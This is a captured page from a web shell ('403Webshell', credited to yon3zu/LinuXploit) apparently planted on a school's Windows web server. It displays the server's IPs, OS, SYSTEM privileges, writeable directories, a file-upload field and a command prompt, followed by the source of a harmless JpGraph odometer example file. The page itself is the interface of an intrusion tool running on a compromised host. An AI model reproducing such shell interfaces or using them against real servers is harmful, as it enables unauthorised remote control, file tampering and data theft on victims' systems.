403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/check/webadmin/S_Graph/jpgraph/Examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/check/webadmin/S_Graph/jpgraph/Examples/odotutex19.php
<?php
require_once ('jpgraph/jpgraph.php');
require_once ('jpgraph/jpgraph_odo.php');
require_once ('jpgraph/jpgraph_iconplot.php');

// Create a new odometer graph
$graph = new OdoGraph(500,180);

$odo = array();

// Now we need to create an odometer to add to the graph.
for( $i=0; $i < 5; ++$i ) {
	$odo[$i] = new Odometer();
	$odo[$i]->SetColor('lightgray:1.9');
	$odo[$i]->needle->Set(10+$i*17);
	$odo[$i]->needle->SetShadow();
	if( $i < 2 )
		$fsize = 10;
	else
		$fsize = 8;
	$odo[$i]->scale->label->SetFont(FF_ARIAL,FS_NORMAL,$fsize);
	$odo[$i]->AddIndication(92,100,'red');
	$odo[$i]->AddIndication(80,92,'orange');
	$odo[$i]->AddIndication(60,80,'yellow');
}

// Create the layout
$row1 = new LayoutHor( array($odo[0],$odo[1]) );
$row2 = new LayoutHor( array($odo[2],$odo[3],$odo[4]) );
$col1 = new LayoutVert( array($row1,$row2) );

// Add the odometer to the graph
$graph->Add($col1);

// Add an icon and text
$icon = new IconPlot('jpglogo.jpg',250,10,0.85,30);
$icon->SetAnchor('center','top');
$graph->Add($icon);

$t = new Text('JpGraph',250,70);
$t->SetAlign('center','top');
#$t->SetFont(FF_VERA,FS_BOLD,11);
$t->SetColor('darkgray');
$graph->Add($t);

// ... and finally stroke and stream the image back to the browser
$graph->Stroke();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit